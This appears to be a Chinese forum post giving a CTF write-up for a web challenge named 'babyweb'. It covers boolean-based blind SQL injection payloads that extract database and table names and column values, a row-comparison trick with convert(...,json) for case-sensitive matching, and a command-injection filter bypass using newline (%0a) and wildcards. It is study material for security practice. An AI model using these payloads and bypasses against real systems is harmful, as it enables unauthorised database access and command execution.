本帖最后由 柒月 于 2021-8-25 18:05 编辑
打开环境发现只显示It Works。
babyweb
f12查看源码并没有什么特别的发现,根据题目提示爬虫联想到robots协议,或利用御剑进行扫描发现robots协议可以访问。
访问robots协议发现一串地址/sd72CJl5ox6hOL9ZIukc3ADPB1HXKFyY.php。
babyweb
访问后进入新的页面
babyweb
输入1 and 1=1 回显正常。
输入1 and 1=2 无回显。
判断可能有sql注入点,发现并没有报错信息判断是布尔注入。
通过burpsuite进行fuzz查看被过滤d的关键字。
babyweb
用burpsuite进行抓包,并传到repeater模块。
由于布尔注入没有报错信息,只能通过判断语句来进行猜测。
先判断数据库名称
sql语句如下
1 %26%26 ascii(substr(database(),{},10))=ascii("{}")
1 %26%26 ascii(substr(database(),1,10))=ascii("{}")
1 %26%26 ascii(substr(database(),2,10))=ascii("{}")
1 %26%26 ascii(substr(database(),3,10))=ascii("{}")
1 %26%26 ascii(substr(database(),4,10))=ascii("{}")
判断第五位时字符为空,所以数据库名称为easy
接下来同样的方法判断数据库表名
sql语句如下
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit {},1),{},1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),1,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),2,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),3,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),4,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),5,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),6,1))=ascii("{}")
1 %26%26 ascii(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),7,1))=ascii("{}")
判断第一个表名时第8位字符为空,说明数据库表名只有7位
为looKkkkk_h3r6。
判断第二个表名时第6个字符为空,说明数据库表名只有5位
为users。
接下来查字段,由于这里的字段为多列所以不能用表别名或order by来获取字段,
还有一个方法是
(select 0,0) <= (select * from looKkkkk_h3r6 limit 1)
先用0来判断有几个字段,当字段为两列时有回显,说明有两个字段。
下面来判断第一个字段的值,使第二列字符为'z',
(select 0,'z') <= (select * from looKkkkk_h3r6 limit 1)
这样就可以比较第一列字段,当第一列字段为0时有回显,当第一列字段为1时没有回显,则说明第一列字段值为1。
第二列也是这样比较,但是MYSQL不区分大小写,一般用binary 转二进制来比较大小写,但这里过滤了in,也就用不了binary了。
Mysql中转换类型的函数有cast和convert。
翻一下官方文档,看有没有,类型转换除了字符串型,数字型,还有binary 和 json
再看看json,翻到字符串比较,大小写敏感 binary类型 。
babyweb
于是
(select 1,concat(0x414141,convert(0,json)) ) < (select * from looKkkkk_h3r6 limit 1)
修改0x414141的值进行获取第二列字段为goto_ubyt0KHOLan9Bh28Rm5e3JlDjwgTCPoI_php
发现可能是个地址,进行访问,出现命令页面。
babyweb
命令执行绕过,过滤了命令分隔符,&、|、; 等,可以用%0a(换行)绕过
Flag 被过滤了,用通配符 *。
babyweb
得出flag。。
|